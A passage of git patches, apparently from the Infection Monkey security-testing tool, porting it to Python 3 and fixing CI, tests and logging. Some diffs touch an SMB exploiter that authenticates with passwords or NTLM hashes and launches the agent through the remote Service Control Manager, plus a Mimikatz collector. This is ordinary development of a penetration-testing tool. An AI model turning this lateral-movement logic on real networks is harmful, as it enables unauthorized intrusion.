- ("pid", "\x00\x00"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
+ ("proto", b"\xff\x53\x4d\x42"),
+ ("cmd", b"\x72"),
+ ("errorcode", b"\x00\x00\x00\x00"),
+ ("flag1", b"\x00"),
+ ("flag2", b"\x00\x00"),
+ ("pidhigh", b"\x00\x00"),
+ ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", b"\x00\x00"),
+ ("tid", b"\x00\x00"),
+ ("pid", b"\x00\x00"),
+ ("uid", b"\x00\x00"),
+ ("mid", b"\x00\x00"),
])
class SMBNego(Packet):
fields = odict([
- ("wordcount", "\x00"),
- ("bcc", "\x62\x00"),
+ ("wordcount", b"\x00"),
+ ("bcc", b"\x62\x00"),
("data", "")
])
def calculate(self):
- self.fields["bcc"] = struct.pack("i", len(packet_)) + packet_.encode()
+ packet_ = h.to_byte_string() + n.to_byte_string()
+ buffer = struct.pack(">i", len(packet_)) + packet_
s.send(buffer)
data = s.recv(2048)
- if data[8:10] == "\x72\x00":
- header = SMBHeader(cmd="\x73", flag1="\x18", flag2="\x17\xc8", uid="\x00\x00")
+ if data[8:10] == b"\x72\x00":
+ header = SMBHeader(cmd=b"\x73", flag1=b"\x18", flag2=b"\x17\xc8", uid=b"\x00\x00")
body = SMBSessionFingerData()
body.calculate()
- packet_ = str(header) + str(body)
- buffer = struct.pack(">i", len(packet_)) + packet_.encode()
+ packet_ = header.to_byte_string() + body.to_byte_string()
+ buffer = struct.pack(">i", len(packet_)) + packet_
s.send(buffer)
data = s.recv(2048)
- if data[8:10] == "\x73\x16":
+ if data[8:10] == b"\x73\x16":
length = struct.unpack('
Date: Fri, 25 Oct 2019 16:50:45 +0300
Subject: [PATCH 048/108] Smb exploiter py3 and bugfix
---
monkey/infection_monkey/exploit/smbexec.py | 11 ++++++-----
1 file changed, 6 insertions(+), 5 deletions(-)
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index 18331e994..2eb30b2a1 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -108,16 +108,15 @@ class SmbExploiter(HostExploiter):
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
- for str_bind_format, port in list(SmbExploiter.KNOWN_PROTOCOLS.values()):
+ smb_conn = False
+ for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port)
-
if hasattr(rpctransport, 'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
- rpctransport.set_credentials(user, password, '',
- lm_hash, ntlm_hash, None)
+ rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc()
@@ -127,11 +126,13 @@ class SmbExploiter(HostExploiter):
except Exception as exc:
LOG.warning("Error connecting to SCM on exploited machine %r: %s",
self.host, exc)
- return False
+ continue
smb_conn = rpctransport.get_smb_connection()
break
+ if not smb_conn:
+ return False
# We don't wanna deal with timeouts from now on.
smb_conn.setTimeout(100000)
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
From 1d666e525d3895fbc184310f2aff1e418188a0c8 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 25 Oct 2019 17:50:32 +0300
Subject: [PATCH 049/108] Smb logging improved, mimikatz bugfix
---
monkey/infection_monkey/exploit/smbexec.py | 3 +--
monkey/infection_monkey/system_info/mimikatz_collector.py | 2 +-
2 files changed, 2 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index 2eb30b2a1..348b6803d 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -124,8 +124,7 @@ class SmbExploiter(HostExploiter):
try:
scmr_rpc.connect()
except Exception as exc:
- LOG.warning("Error connecting to SCM on exploited machine %r: %s",
- self.host, exc)
+ LOG.debug("Can't connect to SCM on exploited machine %r port %s : %s", self.host, port, exc)
continue
smb_conn = rpctransport.get_smb_connection()
diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py
index 2951b7ebc..f73340a25 100644
--- a/monkey/infection_monkey/system_info/mimikatz_collector.py
+++ b/monkey/infection_monkey/system_info/mimikatz_collector.py
@@ -27,7 +27,7 @@ class MimikatzCollector(object):
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
# Password to Mimikatz zip file
- MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G'
+ MIMIKATZ_ZIP_PASSWORD = b'VTQpsJPXgZuXhX6x3V84G'
def __init__(self):
self._config = infection_monkey.config.WormConfiguration
From 6e2f1f0d760dcba7502208da0e0e69369ce24865 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 25 Oct 2019 18:11:21 +0300
Subject: [PATCH 050/108] Log download fix
---
monkey/monkey_island/cc/services/log.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py
index d58a4beac..ff3bf7304 100644
--- a/monkey/monkey_island/cc/services/log.py
+++ b/monkey/monkey_island/cc/services/log.py
@@ -20,7 +20,7 @@ class LogService:
return \
{
'monkey_label': monkey_label,
- 'log': log_file.read(),
+ 'log': log_file.read().decode(),
'timestamp': log['timestamp']
}
From 05fbdafd9dbc68bc6e2f2778c0919761db294e43 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 12:13:26 +0200
Subject: [PATCH 051/108] Updated travis file, let's test it
---
.travis.yml | 21 ++++++++++++---------
1 file changed, 12 insertions(+), 9 deletions(-)
diff --git a/.travis.yml b/.travis.yml
index b14482939..9e942af58 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -2,17 +2,20 @@ group: travis_latest
language: python
cache: pip
python:
- - 2.7
+- 3.7
install:
- #- pip install -r requirements.txt
- - pip install flake8 # pytest # add another testing frameworks later
+- pip install -r monkey/monkey_island/requirements.txt
+- pip install flake8 pytest dlint
before_script:
- # stop the build if there are Python syntax errors or undefined names
- - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
- # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
- - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
+- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
+- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
script:
- - true # pytest --capture=sys # add other tests here
+- pytest --capture=sys
notifications:
+ on_success: change
+ on_failure: always
+ slack:
+ rooms:
+ secure: wFddByqGGfwpjuisZhXQGAI7Y/7yZ+ON58R19D2ff+p1lT26BIdE+gSWQFWTbSNcyjVhAMCkbKgRblL2o0WcuiCyYjlcIoT/fEMuypxNTnlC1FtHlmEO/1JAyDVskzRWvu7q98szcDP+yKjUZSjUrLMnzUYtdB7hhAp8iRvEUTgtKQi27kmgBX9lLqAf93WO1Ocp2+fmDkNmegx2bBa9PQS4FYOtqN7DYZ0cHM7wLffyHZmSXZkwCcq+u7mSONrfQZprCvzQu9kntx/zEnjTuNHUZ8L0SNu035Yg2MtxnKDY1GPSox5ax5rZJID4aN+f7vDkIgIskMwVcjFoMS4bvp8xH1liWleR/VdOYhTP1bx5GcLvkUFC/xAwW730AZnU9Ihn3iSLK8iiowf7UMOYLB371KDlZWj2gwRvccRb7VwismLzcYt/So/5/xDa4IgDNNUu/fb9J+TPc+3jKPt3E6KSHseBcyk2ov7iC14pUz/AWEcWga2s5cRiWqBibUuiJUXZf0zExyEnj9dic5jF/UW8EVpDygy5TaAVq9VD30zslzPcIDbl1slEh2Nd6LXQWCiz9UMDN85OHkuXSgNyuSpna6W0+/qNv3SQLrcwTKTNj/ZSLTj5lZIyQ7l11xW36H+uyx4D8rYOpHw8HxrGXnh5hyWhOa4GCGzgSgFZlU8=
on_success: change
- on_failure: change # `always` will be the setting once code changes slow down
+ on_failure: always
From c11d78c6a078ce179e5042c6dd81eeffde1e00f0 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 12:24:46 +0200
Subject: [PATCH 052/108] cd-ing to source root
---
.travis.yml | 1 +
1 file changed, 1 insertion(+)
diff --git a/.travis.yml b/.travis.yml
index 9e942af58..a5c2da172 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -7,6 +7,7 @@ install:
- pip install -r monkey/monkey_island/requirements.txt
- pip install flake8 pytest dlint
before_script:
+- cd monkey
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
script:
From cc674cac5731a8009d116846bb3d29747807777d Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 12:29:52 +0200
Subject: [PATCH 053/108] Trying to fix slack notifications from travis
---
.travis.yml | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/.travis.yml b/.travis.yml
index a5c2da172..dccf11dff 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -16,7 +16,7 @@ notifications:
on_success: change
on_failure: always
slack:
- rooms:
- secure: wFddByqGGfwpjuisZhXQGAI7Y/7yZ+ON58R19D2ff+p1lT26BIdE+gSWQFWTbSNcyjVhAMCkbKgRblL2o0WcuiCyYjlcIoT/fEMuypxNTnlC1FtHlmEO/1JAyDVskzRWvu7q98szcDP+yKjUZSjUrLMnzUYtdB7hhAp8iRvEUTgtKQi27kmgBX9lLqAf93WO1Ocp2+fmDkNmegx2bBa9PQS4FYOtqN7DYZ0cHM7wLffyHZmSXZkwCcq+u7mSONrfQZprCvzQu9kntx/zEnjTuNHUZ8L0SNu035Yg2MtxnKDY1GPSox5ax5rZJID4aN+f7vDkIgIskMwVcjFoMS4bvp8xH1liWleR/VdOYhTP1bx5GcLvkUFC/xAwW730AZnU9Ihn3iSLK8iiowf7UMOYLB371KDlZWj2gwRvccRb7VwismLzcYt/So/5/xDa4IgDNNUu/fb9J+TPc+3jKPt3E6KSHseBcyk2ov7iC14pUz/AWEcWga2s5cRiWqBibUuiJUXZf0zExyEnj9dic5jF/UW8EVpDygy5TaAVq9VD30zslzPcIDbl1slEh2Nd6LXQWCiz9UMDN85OHkuXSgNyuSpna6W0+/qNv3SQLrcwTKTNj/ZSLTj5lZIyQ7l11xW36H+uyx4D8rYOpHw8HxrGXnh5hyWhOa4GCGzgSgFZlU8=
- on_success: change
- on_failure: always
+ rooms:
+ - secure: wFddByqGGfwpjuisZhXQGAI7Y/7yZ+ON58R19D2ff+p1lT26BIdE+gSWQFWTbSNcyjVhAMCkbKgRblL2o0WcuiCyYjlcIoT/fEMuypxNTnlC1FtHlmEO/1JAyDVskzRWvu7q98szcDP+yKjUZSjUrLMnzUYtdB7hhAp8iRvEUTgtKQi27kmgBX9lLqAf93WO1Ocp2+fmDkNmegx2bBa9PQS4FYOtqN7DYZ0cHM7wLffyHZmSXZkwCcq+u7mSONrfQZprCvzQu9kntx/zEnjTuNHUZ8L0SNu035Yg2MtxnKDY1GPSox5ax5rZJID4aN+f7vDkIgIskMwVcjFoMS4bvp8xH1liWleR/VdOYhTP1bx5GcLvkUFC/xAwW730AZnU9Ihn3iSLK8iiowf7UMOYLB371KDlZWj2gwRvccRb7VwismLzcYt/So/5/xDa4IgDNNUu/fb9J+TPc+3jKPt3E6KSHseBcyk2ov7iC14pUz/AWEcWga2s5cRiWqBibUuiJUXZf0zExyEnj9dic5jF/UW8EVpDygy5TaAVq9VD30zslzPcIDbl1slEh2Nd6LXQWCiz9UMDN85OHkuXSgNyuSpna6W0+/qNv3SQLrcwTKTNj/ZSLTj5lZIyQ7l11xW36H+uyx4D8rYOpHw8HxrGXnh5hyWhOa4GCGzgSgFZlU8=
+ on_success: change
+ on_failure: always
From ee1e913291657dc2c032269c28081bb233e75a36 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 13:48:09 +0200
Subject: [PATCH 054/108] using python -m for tests - and trying still to make
slack integ work
---
.travis.yml | 9 +++++----
monkey/monkey_island/cc/server_config.json | 2 +-
2 files changed, 6 insertions(+), 5 deletions(-)
diff --git a/.travis.yml b/.travis.yml
index dccf11dff..3ab2b95a4 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -6,17 +6,18 @@ python:
install:
- pip install -r monkey/monkey_island/requirements.txt
- pip install flake8 pytest dlint
+- pip install -r monkey/infection_monkey/requirements-linux.txt
before_script:
-- cd monkey
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
script:
-- pytest --capture=sys
+- cd monkey # This is our source dir
+- python -m pytest --capture=sys # Have to do this to add monkey to sys.path.
notifications:
on_success: change
on_failure: always
slack:
rooms:
- - secure: wFddByqGGfwpjuisZhXQGAI7Y/7yZ+ON58R19D2ff+p1lT26BIdE+gSWQFWTbSNcyjVhAMCkbKgRblL2o0WcuiCyYjlcIoT/fEMuypxNTnlC1FtHlmEO/1JAyDVskzRWvu7q98szcDP+yKjUZSjUrLMnzUYtdB7hhAp8iRvEUTgtKQi27kmgBX9lLqAf93WO1Ocp2+fmDkNmegx2bBa9PQS4FYOtqN7DYZ0cHM7wLffyHZmSXZkwCcq+u7mSONrfQZprCvzQu9kntx/zEnjTuNHUZ8L0SNu035Yg2MtxnKDY1GPSox5ax5rZJID4aN+f7vDkIgIskMwVcjFoMS4bvp8xH1liWleR/VdOYhTP1bx5GcLvkUFC/xAwW730AZnU9Ihn3iSLK8iiowf7UMOYLB371KDlZWj2gwRvccRb7VwismLzcYt/So/5/xDa4IgDNNUu/fb9J+TPc+3jKPt3E6KSHseBcyk2ov7iC14pUz/AWEcWga2s5cRiWqBibUuiJUXZf0zExyEnj9dic5jF/UW8EVpDygy5TaAVq9VD30zslzPcIDbl1slEh2Nd6LXQWCiz9UMDN85OHkuXSgNyuSpna6W0+/qNv3SQLrcwTKTNj/ZSLTj5lZIyQ7l11xW36H+uyx4D8rYOpHw8HxrGXnh5hyWhOa4GCGzgSgFZlU8=
- on_success: change
+ - secure: wFddByqGGfwpjuisZhXQGAI7Y/7yZ+ON58R19D2ff+p1lT26BIdE+gSWQFWTbSNcyjVhAMCkbKgRblL2o0WcuiCyYjlcIoT/fEMuypxNTnlC1FtHlmEO/1JAyDVskzRWvu7q98szcDP+yKjUZSjUrLMnzUYtdB7hhAp8iRvEUTgtKQi27kmgBX9lLqAf93WO1Ocp2+fmDkNmegx2bBa9PQS4FYOtqN7DYZ0cHM7wLffyHZmSXZkwCcq+u7mSONrfQZprCvzQu9kntx/zEnjTuNHUZ8L0SNu035Yg2MtxnKDY1GPSox5ax5rZJID4aN+f7vDkIgIskMwVcjFoMS4bvp8xH1liWleR/VdOYhTP1bx5GcLvkUFC/xAwW730AZnU9Ihn3iSLK8iiowf7UMOYLB371KDlZWj2gwRvccRb7VwismLzcYt/So/5/xDa4IgDNNUu/fb9J+TPc+3jKPt3E6KSHseBcyk2ov7iC14pUz/AWEcWga2s5cRiWqBibUuiJUXZf0zExyEnj9dic5jF/UW8EVpDygy5TaAVq9VD30zslzPcIDbl1slEh2Nd6LXQWCiz9UMDN85OHkuXSgNyuSpna6W0+/qNv3SQLrcwTKTNj/ZSLTj5lZIyQ7l11xW36H+uyx4D8rYOpHw8HxrGXnh5hyWhOa4GCGzgSgFZlU8=
+ on_success: always
on_failure: always
diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json
index 420f1b303..7bf106194 100644
--- a/monkey/monkey_island/cc/server_config.json
+++ b/monkey/monkey_island/cc/server_config.json
@@ -1,4 +1,4 @@
{
- "server_config": "standard",
+ "server_config": "testing",
"deployment": "develop"
}
From 43048329d030c73c6ecfb41f507f0f853861e157 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 13:50:13 +0200
Subject: [PATCH 055/108] Fix requirements path
---
.travis.yml | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/.travis.yml b/.travis.yml
index 3ab2b95a4..501814e6f 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -6,7 +6,7 @@ python:
install:
- pip install -r monkey/monkey_island/requirements.txt
- pip install flake8 pytest dlint
-- pip install -r monkey/infection_monkey/requirements-linux.txt
+- pip install -r monkey/infection_monkey/requirements_linux.txt
before_script:
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
From ceca7ce1277407f90ee1fe39e3c15bd2d44bb5a5 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 17:55:24 +0200
Subject: [PATCH 056/108] Adding pytest to requirements and pytest.ini file for
logging purposes
---
monkey/monkey_island/requirements.txt | 1 +
monkey/pytest.ini | 6 ++++++
2 files changed, 7 insertions(+)
create mode 100644 monkey/pytest.ini
diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
index 49c1e37a5..77ff9a620 100644
--- a/monkey/monkey_island/requirements.txt
+++ b/monkey/monkey_island/requirements.txt
@@ -1,3 +1,4 @@
+pytest
bson
python-dateutil
tornado
diff --git a/monkey/pytest.ini b/monkey/pytest.ini
new file mode 100644
index 000000000..3d355a4ac
--- /dev/null
+++ b/monkey/pytest.ini
@@ -0,0 +1,6 @@
+[pytest]
+log_cli = 1
+log_cli_level = DEBUG
+log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s
+log_cli_date_format=%H:%M:%S
+addopts = -v --capture=sys
From 7b153d29b25d4437c097bf9657f3ed19686c6f89 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 17:55:34 +0200
Subject: [PATCH 057/108] Fix segmentation utils test
---
monkey/common/network/segmentation_utils_test.py | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py
index 56a560922..221f1d9bf 100644
--- a/monkey/common/network/segmentation_utils_test.py
+++ b/monkey/common/network/segmentation_utils_test.py
@@ -11,20 +11,20 @@ class TestSegmentationUtils(IslandTestCase):
# IP not in both
self.assertIsNone(get_ip_in_src_and_not_in_dst(
- [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
+ ["3.3.3.3", "4.4.4.4"], source, target
))
# IP not in source, in target
self.assertIsNone(get_ip_in_src_and_not_in_dst(
- [text_type("2.2.2.2")], source, target
+ ["2.2.2.2"], source, target
))
# IP in source, not in target
self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
- [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
+ ["8.8.8.8", "1.1.1.1"], source, target
))
# IP in both subnets
self.assertIsNone(get_ip_in_src_and_not_in_dst(
- [text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
+ ["8.8.8.8", "1.1.1.1"], source, source
))
From f2297de6610b50029bd539d913e5aabad812649d Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 17:55:51 +0200
Subject: [PATCH 058/108] Fix TestMonkey to pytest
---
monkey/monkey_island/cc/models/monkey.py | 3 +-
monkey/monkey_island/cc/models/test_monkey.py | 38 ++++++++++++++-----
2 files changed, 30 insertions(+), 11 deletions(-)
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index daeb9ea5b..1a0e872f6 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -123,7 +123,8 @@ class Monkey(Document):
self.save()
-# Can't make following methods static under Monkey class due to ring bug
+# TODO Can't make following methods static under Monkey class due to ring bug. When ring will support static methods, we
+# should move to static methods in the Monkey class.
@ring.lru(
expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation.
)
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index fb9b329b1..472c5770b 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -1,11 +1,15 @@
import uuid
+import logging
from time import sleep
-from .monkey import Monkey
-from monkey_island.cc.models.monkey import MonkeyNotFoundError, is_monkey, get_monkey_label_by_id
+import pytest
+
+from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError, is_monkey, get_monkey_label_by_id
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
from .monkey_ttl import MonkeyTtl
+logger = logging.getLogger(__name__)
+
class TestMonkey(IslandTestCase):
"""
@@ -32,7 +36,7 @@ class TestMonkey(IslandTestCase):
# MIA stands for Missing In Action
mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
mia_monkey_ttl.save()
- mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl)
+ mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl.id)
mia_monkey.save()
# Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance.
sleep(1)
@@ -70,8 +74,10 @@ class TestMonkey(IslandTestCase):
# Act + assert
# Find the existing one
self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
+
# Raise on non-existent monkey
- self.assertRaises(MonkeyNotFoundError, Monkey.get_single_monkey_by_id, "abcdefabcdefabcdefabcdef")
+ with pytest.raises(MonkeyNotFoundError) as e_info:
+ _ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef")
def test_get_os(self):
self.fail_if_not_testing_env()
@@ -125,29 +131,41 @@ class TestMonkey(IslandTestCase):
ip_addresses=[ip_example])
linux_monkey.save()
+ logger.debug(id(get_monkey_label_by_id))
+
cache_info_before_query = get_monkey_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_before_query.hits, 0)
+ self.assertEqual(cache_info_before_query.misses, 0)
# not cached
label = get_monkey_label_by_id(linux_monkey.id)
+ cache_info_after_query_1 = get_monkey_label_by_id.storage.backend.cache_info()
+ self.assertEqual(cache_info_after_query_1.hits, 0)
+ self.assertEqual(cache_info_after_query_1.misses, 1)
+ logger.info("1) ID: {} label: {}".format(linux_monkey.id, label))
self.assertIsNotNone(label)
self.assertIn(hostname_example, label)
self.assertIn(ip_example, label)
# should be cached
- _ = get_monkey_label_by_id(linux_monkey.id)
- cache_info_after_query = get_monkey_label_by_id.storage.backend.cache_info()
- self.assertEqual(cache_info_after_query.hits, 1)
+ label = get_monkey_label_by_id(linux_monkey.id)
+ logger.info("2) ID: {} label: {}".format(linux_monkey.id, label))
+ cache_info_after_query_2 = get_monkey_label_by_id.storage.backend.cache_info()
+ self.assertEqual(cache_info_after_query_2.hits, 1)
+ self.assertEqual(cache_info_after_query_2.misses, 1)
+ # set hostname deletes the id from the cache.
linux_monkey.set_hostname("Another hostname")
# should be a miss
label = get_monkey_label_by_id(linux_monkey.id)
- cache_info_after_second_query = get_monkey_label_by_id.storage.backend.cache_info()
+ logger.info("3) ID: {} label: {}".format(linux_monkey.id, label))
+ cache_info_after_query_3 = get_monkey_label_by_id.storage.backend.cache_info()
+ logger.debug("Cache info: {}".format(str(cache_info_after_query_3)))
# still 1 hit only
- self.assertEqual(cache_info_after_second_query.hits, 1)
- self.assertEqual(cache_info_after_second_query.misses, 2)
+ self.assertEqual(cache_info_after_query_3.hits, 1)
+ self.assertEqual(cache_info_after_query_3.misses, 2)
def test_is_monkey(self):
self.fail_if_not_testing_env()
From ab348bb12a5330ffc1d967e5717be38a62b1ce3b Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Sun, 27 Oct 2019 17:56:12 +0200
Subject: [PATCH 059/108] Fix zero_trust_service tests (comparison order
problems)
---
.../reporting/test_zero_trust_service.py | 315 ++++++++++--------
1 file changed, 170 insertions(+), 145 deletions(-)
diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
index 06a730e05..d77e67aad 100644
--- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
+++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
@@ -1,9 +1,151 @@
-from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
-
from common.data.zero_trust_consts import *
from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+EXPECTED_DICT = {
+ AUTOMATION_ORCHESTRATION: [],
+ DATA: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT],
+ "status": STATUS_FAILED,
+ "tests": [
+ {
+ "status": STATUS_FAILED,
+ "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY]
+ },
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY]
+ },
+ ]
+ }
+ ],
+ DEVICES: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY],
+ "status": STATUS_FAILED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY]
+ },
+ {
+ "status": STATUS_FAILED,
+ "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY]
+ },
+ ]
+ }
+ ],
+ NETWORKS: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
+ "status": STATUS_VERIFY,
+ "tests": [
+ {
+ "status": STATUS_VERIFY,
+ "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ ],
+ PEOPLE: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
+ "status": STATUS_VERIFY,
+ "tests": [
+ {
+ "status": STATUS_VERIFY,
+ "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+ }
+ ]
+ }
+ ],
+ VISIBILITY_ANALYTICS: [
+ {
+ "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ {
+ "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
+ "status": STATUS_UNEXECUTED,
+ "tests": [
+ {
+ "status": STATUS_UNEXECUTED,
+ "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
+ }
+ ]
+ },
+ ],
+ WORKLOADS: []
+}
+
def save_example_findings():
# arrange
@@ -106,151 +248,24 @@ class TestZeroTrustService(IslandTestCase):
save_example_findings()
- expected = {
- AUTOMATION_ORCHESTRATION: [],
- DATA: [
- {
- "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT],
- "status": STATUS_FAILED,
- "tests": [
- {
